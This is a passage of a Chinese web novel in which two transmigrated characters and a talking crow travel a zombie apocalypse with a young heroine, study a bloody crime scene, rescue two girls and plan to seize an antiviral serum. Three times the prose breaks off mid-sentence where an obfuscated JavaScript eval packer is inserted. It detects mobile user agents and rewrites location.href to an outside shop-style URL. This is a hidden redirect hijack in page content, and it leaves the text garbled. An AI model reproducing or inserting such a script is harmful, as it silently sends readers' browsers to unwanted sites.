笔直的高速公路伸入地平线,路上少见车辆,也没有丧尸,几乎让人遗忘自身的处境。 钱雨青降下车窗,用力踩着油门,迎着长驱直入的风吹了声愉快的口哨:“是我的错觉吗,还是说你的专业水平真的高得吓人啊?” “也许是因为我原本来自星际时代?”沈修明叹气,左手拂过鬓角,“当了半辈子无神论者,眼睛一闭一睁来到远古地球,还被告知世上真的有神。这个世界是否太荒唐了一些……” 钱雨青扭头看他:“其实我不支持把狗上司称为神——” 突然,“哐当”一声巨响! 沈修明脸色剧变,一手抓住安全带,一手握住右上方的扶手:“那个飞出去的是什么?!” 钱雨青抓着方向盘,面无表情地目视前方:“没看清楚耶。” 乌鸦欲言又止,最终道:“好像是个人吧……” 钱雨青额上冒出冷汗,斩钉截铁:“不可能,绝对不可能。谁会站在高速公路中间伸手拦车啊真是不要命了。” 沈修明说:“所以你都看见她伸手拦车了……” “都说不是啦!怎么不听人说话呢真讨厌。等等,你说‘她’?所以你也看见了是吧甩锅仔!” “哐当”一声巨响,满头是血的女大学生抓住车头,脸贴在挡风玻璃前,温柔道:“都说停一下了,怎么不听人说话呢?真讨厌。” 两人一鸟哽住,三秒后,齐刷刷低头:“对不起!!” 4. 末日与丧尸与新工作3 一阵手忙脚乱之后,钱雨青把突然刷新在马路中央的碰瓷女大学生扶回了车上。 “没有在碰瓷。”女大学生用眼神幽幽反驳。 钱雨青望天。 “我还以为你们不会停车了。” “如果现在是晚上,尤其是雨天,我真的不会停。”钱雨青真诚地说。 多得是从搭车客开始的怪谈,要么是鬼打墙加车内厮杀,要么是倒霉的好心人被引到奇奇怪怪的地方,被吓到肉质Q弹再被杀。 这种事不要啊。 女大学生沉痛地说:“可以理解。” 雨天和夜晚很难分辨人类和丧尸,为了自保,主动出击完全是正常行为。 开车的人变成沈修明,钱雨青坐到后座,拿出纱布给女大学生裹伤口。 “好新的药箱。”她说。 明显是第一次打开,里面的物资满满当当。 “刚得到补给,”钱雨青裹伤的手法很熟练,就是从对方呲牙咧嘴的表情看来,动作不太温柔,“你是名字是?” “宫水三叶……啊不是,我的名字是许怀嘉。”她下意识玩了个梗。 钱雨青笑了笑,把绷带塞回医药箱中,回应道:“好吧,我是立花泷。钱雨青,幸会。” 察觉到其中友好的信号,许怀嘉露出大大的笑容:“原来你也看过那部电影呀?” “当时还挺火的对吧,”钱雨青接道,“我去看的时候已经上映了一段时间,没想到电影院人还是多。” “画面很美嘛!灵魂互换梗很经典,也有爱情题材合适情侣去电影院看的加成,”说起电影,许怀嘉就忍不住滔滔不绝,“但故事本身就还好,光论情节质量反而没那么突出……” 她声音渐小,有些害羞地嘿嘿一笑。 钱雨青说:“我最喜欢吉卜力。《龙猫》。” 许怀嘉立刻又兴奋起来,搓搓手:“我也是!我最喜欢《幽灵公主》!” 驾驶座飘来怨念的声音:“虽然可能没人想知道,但我的名字是沈修明。以及我最喜欢《魔女宅急便》。” “……”副驾驶的乌鸦默默无语,将车内的音乐换成了《千与千寻》的主题曲。 轻灵优美的乐曲响起,许怀嘉感动地捂住心脏呜呜一声。 不必等到第二天,此时此刻,三个人已经执手相看泪眼,准备原地成立电影同好会支部了。 在末日来临后,像是为了应景,白昼总显得有气无力,昏昏欲睡。现在分明是夏季,但还不到下午七点,天色便已擦黑,必须尽快找到可供休息的地方。 好在他们运气不错,阴影勾勒出小村寂静的轮廓,从大路拐入泥泞的小路,越野车在路边停稳。 “好久没聊得这么开心了。现在人们都无聊了好多,天天愁眉苦脸的,别说电影,连一本消遣的小说都找不到了。”下了车,许怀嘉的兴致迅速低落下来,双手插兜,踢着路边的石子。 钱雨青说:“也没有办法。” 在温饱都没有保障的环境下,高成本娱乐注定只是奢求。没人会少拿两个肉罐头,就为了多带一本小说。哪怕只是想听一首歌,也只能采用古法——自己唱。 哼着《邻家的龙猫》的旋律,顺着脚边零星的血痕,钱雨青踩着节拍,信步跨入大门敞开的院落。 这是村内最显眼的建筑,一栋半新不旧的两层自建房,建筑风格杂交且多多益善: 正面一半是白墙,背面一半是红砖,像一块屁股没抹奶油的方正蛋糕模型。二楼房间的防盗窗七零八落,其中一块窗玻璃已经破碎,成了漏风的大洞。窗边装饰着欧风的华丽浮雕花纹,正门却是朴素的对开铁门,两边甚至挂着灯笼。 模糊的血迹在深蓝色的铁门上抹出黑色的手掌状氧化淤青,在门槛附近跌出大滩血洼,一路如蛇般蜿蜒向大厅。 “有人受了重伤,匆匆忙忙回来报信?”身后的沈修明伸出左手虚空比了比血掌痕的大小。 很宽大的指掌,按比例算,留下痕迹的人戴着手套,身高大概在一米九以上。 进入室内,不需要任何多余的观察,就能得出有人曾在此聚居的结论。 七张铁架或木制的床被拖到一起,呈半圆状挨挤着,拱卫正中央篝火凌乱的痕迹。两端绑着挂钩的铁线分割了大厅的领空,兼具晾晒衣物和挂帘子保护隐私的作用。各色枕头被褥乱糟糟铺陈,撕裂的布口里隐约可见发黄发黑的棉花。锅碗瓢盆堆叠在一旁,又不知被谁碰散了架,只依稀看得出原来整齐的排布。 “没有丧尸来过的痕迹。”许怀嘉还站在门口,像是对探查环境没什么兴趣,表情淡淡的。 说不上是好消息还是坏消息。 从门口的血痕和屋内人们匆忙逃离的样子看,这里必然曾遭遇袭击。既然袭击者不是丧尸,那就是人类。 钱雨青走到其中两张紧挨的床前停步,伸脚插进床脚的缝隙之间一撇,床架发出“嘎吱”一声响,一团被人偷懒塞在其中的油纸包装应声掉出。 “大约两三天前还有人正常生活,”她歪头看着发霉的残留物得出结论,“袭击者没有仔细翻找过这里。” 既然这个窝点已经没人要,被杀个回马枪的可能性也不大,三人简单在周围布置了警戒措施,把睡袋掏出来铺好。 这是钱雨青在末日世界过夜的第一天,她新拆的睡袋抖开来放在正中间,还有一股新品特有的浅浅塑料臭味。另外两个饱经沧桑的旧睡袋放在两边,许怀嘉看了沈修明一眼,对他毫不避嫌地挤在她俩旁边升起一丝疑惑,又被沈修明那副全然理直气壮的嘴脸堵了回去。 趁着许怀嘉和沈修明留在楼下各自整理物资,钱雨青走上二楼。 二楼的每一扇门都紧闭着。 钱雨青回想之前在楼下对二楼窗户的观察,找到那扇窗玻璃破碎了的门,站在门口试着感知门后的气息,却一无所获。但以防万一,她还是抽出腰间的匕首,猛地把门推开,同时后退两步,将刀横在身前。 黯淡的光线照亮房间,钱雨青诧异地“唔”了一声。 眼前的场景还真够“简约”的,完全是一目了然。 不难看出这里曾被用作医务室,右墙边并排放着两张担架床,一个大玻璃柜靠在另一侧,桌上的托盘内曾放着酒精和绷带。但几道深如裂谷的刀痕几乎劈碎了大半个房间,这些东西便也连带着被一同剁开,就像被斩骨刀剁开的骨头,因为切面过于平滑,完全可以反过来想象当初那把“刀”的锋利。 而在刀痕交错的中央,是大片大片的黑褐色。 “真是惊人的出血量,”钱雨青扭头,向身后问道,“你觉得呢?” 不知何时摸了过来的许怀嘉顿了顿,难为情地挠头道:“是吧?” 她走上前,弯腰皱眉看了血迹好一会儿,用不确定的语气问:“也是下面那个人的血?” “不好说。” 许怀嘉没有多留。她生性谨慎,准备趁着天没黑透在村里巡逻一圈,免得晚上出什么岔子,上楼只是为了告知钱雨青她的去向。 钱雨青则像是确定了什么一般,一口气把剩下的房间“哐哐哐”全开了,绕了一圈也没见别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470840|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的异常,最后从堆放着杂物的房间里翻出一管还没用过的护手霜,遂毫不客气地一把薅走。 “去这么久,掉厕所里了?”沈修明爬上楼来,给她递了块压缩饼干。 钱雨青闻了闻,三两下塞进嘴里,含混道:“在玩超级大侦探。” “噢,我看到了,”沈修明说,“那滩血应该是两个人的,叠着死一块儿了。一个人的血流不了那么多,除非他像块抹布一样被人硬生生拧干。” 脑内浮现画面的钱雨青发出被恶心到的声音。 沈修明耸肩:“现场被很精心地处理过。楼下的血迹在大厅断开,楼上的血迹只有锁在医务室里的一处,根本看不出尸体的去向。” 钱雨青说:“你还真打算当侦探?” “反正没其他事,闲着也是闲着。” 沈修明真挺好奇的。现在早就不是和平年代法治社会,两拨人大街上为了物资当场火并都是卷起袖子说干就干了,淌了满地血都懒得擦,也不会有警察出警逮人。这样偏僻的小角落发生的谋杀,有什么必要遮遮掩掩? 难道是要找什么不能见人的东西? 第一个念头下意识蹦出来,沈修明愣了愣,看了钱雨青一眼。 钱雨青坐在只剩下半张的桌子上:“你知道许怀嘉的异能是什么吗?” 沈修明看着她。 许怀嘉从没暴露过自己有异能这件事。 “她就是这个世界的新主角,是不是?” 沈修明垂下眼睫:“瞒不过你。这一年来,她自称“旅人”在各地游荡,现在已经小有名气了。太具体的打探不到,但从目击传言看,她的异能应该和操纵物体有关。你又是怎么知道她的?” “你可是这个世界未来的大反派。主角和反派可是命中注定的孽缘啊。” 沈修明沉默,只当她是不想说就满嘴跑火车。 “姓名”与“代号”分离,许怀嘉本不该这么简单就暴露,奈何有个沈修明一直暗中打探她的行踪,实在是暗箭难防。 钱雨青突然说起不相干的事:“这几道痕迹不是刀劈出来的,而是伪造的。” 沈修明知道钱雨青自己就擅长用刀,没有质疑,顺着往下想:“伪造杀人痕迹……想要遮掩原本的痕迹……啊,你怀疑杀人的是许怀嘉?” 异能者的异能千奇百怪,使用时特征明显,不作处理的情况下跟在案发现场签自己大名没什么区别。加上钱雨青突然问起许怀嘉的异能,答案呼之欲出。 “目前只是怀疑。”钱雨青对人的情绪变化很敏感,许怀嘉的异状没有骗过她的眼睛。 “但还是说不通。开车和决定在这里过夜的人都是我,她没机会提前做手脚。况且,就算知道是她杀的,我们也不会有意见。这一切到底有什么意义?” 钱雨青笑:“我们来到这里多半只是巧合,她伪造现场可不是为了我们。” 乌鸦从窗外飞入,停在宿主伸出的手臂上。 “如何?” “她带花去了附近的墓地,”乌鸦说,“有一座坟很新。” “现在可以确定了,”钱雨青站起身,和沈修明一起走出房间,“她掩盖痕迹是因为自己的罪恶感,杀人的事实让她感到痛苦。就和她关上二楼所有的门的理由一样。” “那她怎么不全部擦干净?” “因为将自己的罪全部掩埋同样让她痛苦。她的道德不让她否认自己的罪。” “好拧巴。”沈修明摇头。 钱雨青哼笑一声,乌鸦说:“看来你将来会有个很有趣的对手。” 5. 末日与丧尸与新工作4 越野车到达R市的时候,这个不伦不类的队伍已经从两个人变成了三个人。 不愧是靠近感染核心地带的区域,形形色色的丧尸向独行的车辆扑来,气势高昂,好似□□中喷洒而出的彩纸屑。 花费整整半个下午,车才刚开过两条街。钱雨青感觉这辆车仿佛不是在主干道上行驶,而是正向沼泽里开。 “天快黑了,得尽快找个地方过夜,”新加入的成员三号拧身望着窗外,皱着眉,表情严肃,显然比其他两人要经验丰富得多,“方便右拐吗?顺着小路开,我们去附近的出租公寓楼。” 这个世界的新晋主角许怀嘉是个面容清秀的少女,梳着高马尾,有一双偏圆的大眼睛,唇红齿白,气质看起来十分纯良无害,或者说好欺负。 但再多看看她手臂明显的肌肉线条,多想想车前盖那几条被捏得凹下去的指印,相信所有人都会懂得夹紧尾巴做人的道理。 沈修明一愣,问道:“去居民区?那里丧尸不会很密集吗?” 许怀嘉摇头:“不会。R市丧尸爆发的时间是工作日白天,绝大部分人都在上学上班,留在居民区附近的反而少。” 越野车速度很快,最后在一条环境颇有些脏乱的小巷口前停下。钱雨青横甩车尾,截住大半出口,潇洒自如地把车屁股蹭掉块漆。 “不要松懈,小心埋伏。跟在我后面。” 许怀嘉整理好装备,率先下车,一边从腰间抽出惯用的□□19打开保险,下意识发出指令,一转头和两个新同伴大眼瞪小眼,尴尬地住了嘴。 钱雨青一笑,解围道:“好哦,那就拜托你探路啦。” 许怀嘉这才露出一点笑容。 没人指望沈修明的战斗力。许怀嘉愿意冲在最前面蹚雷,钱雨青便自动负责殿后。 她没有再用障刀,而是入乡随俗地从许怀嘉的装备里摸走了一把贝雷塔m9,双手灵巧熟练地拆装几轮,满意地提在左手,又把沈修明的背包甩到背上。沈修明站在两人中间最安全的位置,只在腰间藏了一把匕首聊作慰藉,又费力把乌鸦从他的肩膀上捧下来,抱在怀里。 “你好重。翅膀底下难道全是脂肪吗?”他小声对乌鸦抱怨。 乌鸦用同样的音量回答:“是你太弱,手指饼干。” 沈修明单方面决定和死肥鸟开启冷战。 老旧的小区没有像样的防御措施,铁门像一张被一拳打歪的大嘴,痴呆地倒了一半。 钱雨青抬起头,目光扫过楼上一间间安装着防盗网的,紧闭的窗户,就听见不远的前方传来“砰砰砰砰”连续四声果决又迅速的震响,等她两步跨上前去,只看见两只被爆了头的丧尸倒在地上,一股恶臭正弥漫开来。 绕到案发现场侧面,钱雨青仔细观察着周围的环境和丧尸的伤口,很快构建出这场偷袭的全貌。 这两只丧尸之前埋伏在楼梯下的阴影处,正是三人视线的死角,导致猛地冲出来时,距离已和打头的许怀嘉离得很近。但很显然,哪怕它们已经做了能做的一切,这场偷袭的效果仍然是0。许怀嘉这四次攻击,连杀带补刀全打在头上,过近的距离反而让它们把伤害吃了个顶饱。 她在心中模拟许怀嘉闪避和反击的动作,掂量着许怀嘉的战斗力和战斗风格。 而除了她,其他两个队友的脸色都十分难看,虽然理由显然不尽相同。 许怀嘉下颌线条危险地绷紧,眼中闪过悲伤和愤怒:“一个孕妇和一个老人……” 丧尸的伤口不会像活人那样慢慢愈合,两具身体上的每一道痕迹,都诚实地诉说着两位遇难者生前的遭遇。 孕妇的肚腹看起来月份已经很大,接近临产期,而女人身体上最严重的撕咬伤集中在双臂和肩颈,与老人伤口集中在背部的情况正相反。 “她们在保护孩子……”许怀嘉没有说完,便已经哀悼似的垂下了双眼。 沈修明则是在和钱雨青对视一眼,确认现场已经安全后,从道旁捡来一根长树枝,挪过去蹲下身,轻轻挑开两只丧尸的眼皮观察。 “你在干什么?”许怀嘉问。 沈修明答:“和衰老的那一只不一样,孕妇的瞳孔缘有一圈血红色,脑组织的颜色也看起来过于新鲜了。恐怕她正处在进化的中程。” 说到正事,许怀嘉皱眉,到底没有揪住对方不当措词的余裕,只道:“进化?你是在说丧尸的二次异变吗?” 钱雨青也说:“看附近的血迹残留,她没能得到多少食物,进化条件恐怕和食量不挂钩。” 沈修明还沉浸在漫无边际的思考中,从鼻腔中“哼”出一声权作赞同。只是突然,头上传来“咚、咚”的敲击声,吓得他脚一滑,差点摔了个屁墩儿,好在被钱雨青托了一下手臂。 “别攻击,”她叫住迅速警戒的许怀嘉,“是楼上有幸存者。” 像是为了附和她的话,楼上的一扇窗户打开,一条手臂从防盗窗的空隙间直直伸出,捏着一条白色的小手绢挥了挥。 许怀嘉的表情放松下来。 钱雨青拍拍沈修明的背,把人拉起来:“你们两个先上去。我去把这两具尸体处理干净,免得招来不知道什么鬼东西。会尽快回来的。” 乌鸦扑腾着翅膀,三两下便回归了沈修明左肩上的行宫王座。沈修明点点头,抽出匕首握在手里,立刻被钱雨青掰开手,紧急调整了一下握姿:“你可别把自己捅了哦。” “不至于吧……”沈修明嘟嘟囔囔地跟在许怀嘉身后,拾阶而上。 楼梯间窄而昏暗,绝大多数的门紧闭着,其上贴着的对联与四方的福字都已褪去鲜亮,边角卷起,转变为暗淡的灰红色。 “沈哥,我是不是在哪里见过你?”许怀嘉搭话道,“总觉得你看起来很眼熟。” 沈修明扶了扶眼镜:“大概因为我们都是H市大学的学生吧。可能我们在某个聚会上见过。” “原来是学哥啊,真是缘分,”许怀嘉无意识地轻轻抚摸□□冰冷的背脊,“学哥是哪个系的来着?” “学小提琴的,”沈修明从容道,“学妹是文学系的吧?我还记得呢。” 许怀嘉脸上浮现出惊喜的神色:“是哦,想起来啦。沈哥当时是和沈修晏一起来的,我和他是同班同学来着,难怪大家认识。好久不见他,他现在怎么样了?” “不知道。” “但你们不是一家人吗?为什么沈哥不和家里一起走,反而单独行动呀?” 沈修明沉默了一会儿,直到两人走到八楼的楼梯口,才淡淡地说:“因为他和我不是一个妈生的,他恨我很久了。我在家里也不受待见,所以才单独行动。” 许怀嘉的表情顿时僵住,尴尬之色再次浮现。她迅速转身,逃避般敲了敲801的门:“我们是刚才在楼下的人。你们是幸存者吗?是的话请开门,我们没有恶意!” 门后传来一阵稀里哗啦的响声,一会儿后,面前的门被小心地推开了一条细缝,一个小心翼翼到颤抖的声音传出:“那为什么只有两个人在?” 许怀嘉老实回答:“她去清扫丧尸了,一会儿再上来。” 门缝开得更大了一点:“我们、我们这里没有多余的物资了。但如果你们能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470841|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救我们出去的话,剩下的都给你们也不是不行。” 许怀嘉立刻安慰道:“别害怕,我们不会拿你们的物资的。我们到这里来,只是想找个临时歇脚的地方。” 门后又是一阵漫长的沉默,许怀嘉还在耐心地等待,仍然站在楼梯口的沈修明终于不耐烦这场毫无意义的对峙,走近门缝,温声哄劝:“我们会救你们出去的,别怕了。” 许怀嘉吃惊地猛盯着他看,好像怀疑自己还在做梦似的。 沈修明心累不已。 他看得清楚,这场对话的双方脑回路都直白得吓人。一边是许怀嘉,完全是顾虑到关系并不亲近的钱沈二人,才没有马上答应下来,结果把话说得像路过已婉拒。而另一边,也只按照许怀嘉的字面意思理解,直接把他们打上“没用”的标签,眼看就要把门一关赶人了。 而听到确切的承诺之后,面前的门才终于打开,露出背后的两个形销骨立,重度营养不良的小豆丁来。 沈修明顿时倒退两步,放许怀嘉热情地迎上去,把两个小学生的信息做了个简单的摸底排查。 这两个小学女生一个九岁,一个十岁,之前在附近的小学读书。 “就是那里,”小女孩陈露领着两个大人来到另一边的窗户往下指,“平时放学我五六分钟就能跑回家。”她才是这里真正的住户。 “冬珍珍是我朋友。” 丧尸潮爆发那天,她们十分幸运地手牵手一溜烟跑回了家。 “之前我在网上刷到‘末日来临你要怎么办’这个讨论,就趁橙色软件打折买了几箱压缩饼干和方便面存在床底,够我们吃好久。明明当时爸爸妈妈还因为我乱花钱骂了我一顿……” 陈露开头还笑容灿烂,显然非常得意自豪,说到结尾的时候已经咧开嘴哭了起来。许怀嘉赶紧蹲下,把她抱在怀里轻声细语地哄。 沈修明看向一旁的冬珍珍,问:“那水呢?” 冬珍珍费劲地仰起头看他:“露露的异能是储存。我们可以接雨水喝。” 喝雨水肯定是不干净的,但喝不死也不生病就值得放烟花庆祝了,更别说雨下得勤的时候,她们甚至还能趁机洗衣服洗澡。要不是食物来源不可持续,外加生活太无聊外,这里简直像个微型的世外桃源。 储存类异能在末世向来讨巧,不管在哪都是抢手货,在各大避难所重要性仅次于治愈系异能。 但冬珍珍明显是个还没有觉醒的孩子……沈修明若有所思,心中闪过大约七十个悲剧故事。 “姐姐给你们做饭吃好不好呀?”另一边的许怀嘉终于哄到了结尾。 于是,钱雨青回来时,两个女孩正在狼吞虎咽地吃饭,许怀嘉正在陪她们吃饭,一边不停地叫她们慢点吃,而沈修明正独自站在窗边,翻阅着一本儿童读物。 “回来了?”他漫不经心地招呼。 “都搞定了,”钱雨青扫了一眼许怀嘉,“你怎么她了?” “冤枉啊大人,明明是她想怎么我,”沈修明不满地哼哼,“大概是我翻尸体惹她怀疑了,差点被一子弹送回老家。” “听起来很惊险嘛。” 沈修明闻言,露出一丝带着傲慢的笑:“开什么玩笑。就凭她那点三脚猫套话技巧,去套我奶奶的菜谱都套不出来。” “噢,真的一点都没被吓到?” “要你管。” 钱雨青笑起来,凑得更近了一点,把一小串钥匙塞进沈修明口袋,低声道:“302。” 沈修明翻过一页书,声音轻得像耳语:“这么近?” “灯下黑嘛。” 6. 末日与丧尸与新工作5 钱雨青把许怀嘉这样的情况统称为新人美。 新人是这样的,不可能什么都不懂,但懂得够多不可能。于是就像躲在草丛里的小兔子似的,一边嚼草叶,一边竖着耳朵,一有风吹草动就警铃大作,瞬间弹射起步满地乱窜,不知道真正的捕食者接近时,只会比影子更安静,比夜风更敏捷。 平心而论,许怀嘉已经做得很不错,短短一年便能从一个普通的女大学生,逐渐演化出战士的雏形,也没有在这场突如其来的动荡灾难中失去人性,仍然保持着可贵的善良。可惜她眼光不太好,又太过瞻前顾后。所以,她的警惕在当下的情形来说,还不够,远远不够。 恰如此时此刻。 “嗨,两位在聊什么呢?” 见到在窗边悄声细语的两名队友,许怀嘉立刻警觉。刚压下的疑惑再次浮现,她露出一个无害的笑容,让两个女孩继续吃饭,便迅速走了过来。 在高速公路上拦车实属无奈,她原本只想找借口搭车回到随便哪座城市里,遇见认识的人完全在意料之外。 在H大,她对“沈修明”为数不多的印象几乎都来自沈修晏。据对方所说,他的这位神奇三哥以前还是个不学无术的好懂纨绔,然而自从三年前匆匆休学离家出走,再回来的时候简直像变了个人。 “他看我,看爸妈,还有大哥二哥的眼神都特别奇怪,”沈修晏先是打了个寒噤,随即又愤怒起来,“他到底在看不起谁啊,钱又不知道从哪里来,也不知道每天在忙什么。” “你怕他?为啥?”许怀嘉惊讶,“我之前在社团团建的时候,社长和我们说到过他,说当初他笨手笨脚,到处惹麻烦出洋相呢。” 提到以前的沈修明,沈修晏脸上飞快闪过一丝厌恶,欲言又止半晌:“现在如果还像以前那样倒还好了。上次我去找他,正巧碰到他在拉琴,还是一首根本不存在的曲子!” 当时许怀嘉不以为意,没有接受沈修晏话中的暗示,毕竟自作曲又没什么奇怪的,现在看来她真应该多相信同学。沈修明看人的眼神的确奇怪,因为那不是看同类的眼神,而是隔着玻璃,望着空荡荡一片虚无的眼神。 然而,如果和钱雨青相比,就连沈修明的怪异之处都算不值一提了。 作为一个刚刚相处几天的陌生人,她不算热情,但已足够友好,完全称得上是个合格的临时伙伴。 但许怀嘉就是觉得哪里不对。某种异样针一般戳刺她的神经,让她夜不能寐,昼不得安。这是纯粹的直觉,本能的示警,就像第一次见到某人就觉得自己和她相处不来的气场不合。 这种感觉在夜晚尤甚。 她已经纠结了好几天,又不想在毫无证据的情况下质疑伤害别人,心情已经从好奇警惕变成焦躁烦闷,又渐渐转向了摆烂。要是再晚上两天,她估计都要甩手跑路了。但现在突然多出两个小女孩儿,其中一个还是处境危险的储存类异能者,她不能放着不管,一切都必须重新计划。 现在疑点重重的两人背着她嘀咕,她马上想要强行插进对话,却反而先被钱雨青上前一步,用微妙的表情搭了话:“嘉嘉,之前好像忘了问你。你当时怎么会一个人在那么偏僻的路边拦车呢?” 许怀嘉僵住了,思路瞬间被打乱。 她当初拦车前就想到,自己的突然出现在别人看来其实也很可疑,所以早就预设了好几种答案,只是这两人没有问。但现在突然翻出来……她了然地看向缩在钱雨青身后的沈修明。 许怀嘉轻轻叹气,避重就轻道:“和同行者们发生了一点矛盾。” 越缩越小的沈修明立刻说:“也就是说,之后我们也可能会遇到和你有矛盾的那些‘前同行者’?” 许怀嘉抿唇,沉默几秒,还是选择坦然以对:“现在暂时不会。我打乱了队伍原本的计划,他们得先回避难所汇报,一来一回会耗费时间。我原本是想要速战速决的。” 钱雨青做出若有所思的表情:“我假定你们来到R市,是和我们一样,想要拿到抗毒血清。但为什么会发生矛盾呢?” “因为他们想要独占血清,垄断全世界的希望,”许怀嘉圆而亮的眼瞳像是被火焰点燃了,“我绝对不允许这种事发生!” 自从丧尸病毒爆发开来,最开始人类的绝大多数精力都用在求生、觉醒异能上,接着便是在各地建造避难所,划定地盘,聚集幸存者,小范围内建立新的社会阶级秩序与循环体系,再加上生物本能的争权夺利行为带来的派系互殴与内耗,乃至难以约束的异能者与普通人之间产生的新型矛盾等等等等,工作量大得电表倒转,线面一样越做越多。 在百废待兴的现在就强行抽调人手,千里迢迢前来搜寻血清,与其说是心系人类前程,不如说是走歪门邪道想要抢跑了。毕竟其他人可不是沈修明这种来自星际的未来博士,科技水平早不可同日而语。 目前研究血清,不仅需要绝对安全的存储与研究环境,还需要无数资金、材料、时间,需要特殊的大型仪器设备支撑,联合世界顶尖的科学家们的共同努力,才有一丝追逐渺茫希望的可能。 一言以蔽之,普通小避难所想研究血清还是做梦比较踏实。 “所以你想要最先拿到血清。” 许怀嘉点头:“我想把血清分给各大避难所,再自己留一份。当然,还有你们的那一份。” 钱雨青没有对她的做法发出任何评价,只说:“如果这是你的计划,或许晚一点去才更好。” 许怀嘉一愣:“可是,听到风声的其他避难所也会赶来,一定会爆发冲突的。” “就是闹得越大才越好,”钱雨青点头,“在所有人面前带走血清,闹到全世界都知道血清在你的手里,让他们拿着资源来和你换。” 许怀嘉顿时变了脸色:“这可是关系到人类未来的血清!怎么能趁火打劫?!” “哎,话不是这样说的嘛,”钱雨青得意地举起手指摇了摇,“嘉嘉,你这一年来在各个避难所之间辗转游走,对各地的乱象很失望,觉得它们全都无法达到你的期待,所以想要自己建造一座避难所。这就是你真正想做的事,对不对?” “……你怎么知道。” “看你收集的武器就知道了,上面不少刻着不同避难所的标志呢,”钱雨青的眼神变得温柔而欣慰,像一块缓缓融化的坚冰,她又似安慰又似赞许地轻轻拍了拍许怀嘉的手肘,“至于避难所,因为你就是这样的人啊。” 经历了无数次碰壁,虽然许怀嘉足够坚定,但她的心又不是石头做的。现在猝不及防在全然不在预料中的人这里获得了理解和肯定,许怀嘉感觉心脏像是涌出一股暖流,眼眶有些发热,慌忙低下头轻轻“嗯”了一声。 “如果你想建立避难所,首先需要足以庇护领民的实力,其次,你还需要足够大的名气。” “名气?”许怀嘉疑惑抬头。 “对,名气,”钱雨青循循善诱,“只要你回想一下,就会发现,这世上让人叫得出名字的大异能者不少,却不是个个都有人追随。哪怕是我,都能数出五个没有觉醒异能的首领。 强大的实力等于生存的保证,但只有有了自己的名号、自己的信念,普通人和异能者才会源源不断地来到你的麾下,成为你的避难所的一部分,为你的理想运转。 而一个神秘的独狼高手,可以轻易获得别人的尊敬,但却很难拥有足够的号召力。” “号召力……” “告诉我,你为什么想要建立自己的避难所?” 谈及理想,许怀嘉的神情变得坚硬起来:“现在的世界在弱肉强食的道路上已经走得太远。老人、孩子、伤残者,还有不够强的女人,都成了累赘。高高在上的异能者们看不见‘人’,只想把‘资源’的油和血榨干。救助他人成了愚蠢懦弱,很多人开始为自己的利己、冷漠和狠毒自豪。如果人类失去人性,在丧尸毁灭人类之前,人类自己就会毁灭自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470842|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!” “把这段话大声宣布给全世界,你的避难所便会因此而存在,”钱雨青鼓掌,“得让赞同你理念的人看见你才行。避难所可不是靠一个人就带得动的,何况你还要收留老弱病残,只会比别人更辛苦。” 许怀嘉的心跳得极快,她咬紧牙关,眼中有对前路未明的恐惧,但没有退缩:“我知道了。” “建立避难所需要的资源量是个无底洞,你缺乏人手,如果不是靠抢,那还是直接做交易更快。而且,人类就是不能顺毛摸的物种,你送上门求他们收下,他们得花十年来研究你有没有阴谋诡计,但你要是伸手要物资,他们只会拼命讲价,压根不会质疑你的目的。” 一顿猛猛的话疗灌下来,许怀嘉的眼神褪去不少迷茫,看钱雨青的目光已经彻底不同,充满了喜悦和感激:“雨青姐,谢谢你。如果不是你,有些问题我恐怕还要思考很久。” 钱雨青摊手:“这不算什么,我也是想要支持你才说的。因为我最讨厌的就是没有人性的人类了。” 许怀嘉眼神一亮,紧张地扯住钱雨青的袖口:“雨青姐,你、你们要不要一起加入我的避难所?” 沈修明面无表情,动作十分明显地用手指捅了捅钱雨青的后背。 钱雨青一顿,伸手往脚边一指,答道:“等这件事有影了再说吧。现下的当务之急是安顿好这两个小鬼头,之后在所有人眼皮子底下抢到血清,不然之后一切都不用谈了。” 许怀嘉一惊,这才从满头满脑的思绪中挣脱出来,看见了不知道什么时候跑过来的两个小女孩。 “姐姐,我们想加入你的避难所,你带我们走吧!” 许怀嘉蹲下身:“可以呀,但就像雨青姐姐说的一样,那是之后的事了。姐姐会把你们交给姐姐的同伴,你们留在安全的地方,等我们回来,好吗?” 陈露和冬珍珍手牵着手,齐声说:“好~” “你的同伴?” “别看我这样,忙碌一年总归不会一点成果没有,”许怀嘉的笑容真诚许多,爽朗道,“之前就联系过了,只是我们的据点离R市比较远,人还没到。到时候再给你们介绍。” 沈修明冷不丁问:“里面有沈修晏?” “呃,有。”许怀嘉的笑容顿时发虚,有心想要解释什么,又觉得什么都没法说。兄弟矛盾是不可能靠外人调停的。 